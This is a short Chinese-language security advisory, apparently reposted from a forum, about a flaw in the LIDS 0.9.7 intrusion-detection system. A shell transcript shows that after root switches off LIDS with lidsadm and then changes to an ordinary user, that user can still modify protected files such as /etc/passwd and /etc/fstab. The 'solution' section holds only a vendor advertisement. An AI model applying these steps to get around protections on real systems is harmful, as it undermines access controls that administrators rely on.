涉及程序:
LIDS 0.9.7
描述:
Linux Intrusion Detection System 存在漏洞
详细:
Linux Intrusion Detection System (LIDS)是一个 linux 上的入侵检测软件。
/lidadm -S -- -LIDS 存在一个漏洞,举例:
---------------
(user2 is a standard non root user!)
login....
....................................................................
bash$ joe /etc/passwd
(file is shown as readonly, cannot be modified)
bash$ su
Password:
[root@penguin user]# /sbin/lidsadm -S -- -LIDS
SWITCH
enter password:
[root@penguin user]#su user2
bash$ joe /etc/passwd
(file is not read-only, can be modfied)
bash$ joe /etc/fstab
(file is not read only, can be modified)
bash$ ls -l /etc/fstab
-rw-r--r-- 1 root root 684 Jul 24 16:28 /etc/fstab
bash$ exit
[root@penguin user]#exit
bash$ joe /etc/passwd
(file is shown as readonly, cannot be modified)
......................................................................
网管论坛bbs_bitsCN_com
可看到那 -LIDS shell 在切换到非 root 账号是时并没有丢弃 root 特权。
解决方案:
CNNS 为你提供网络安全服务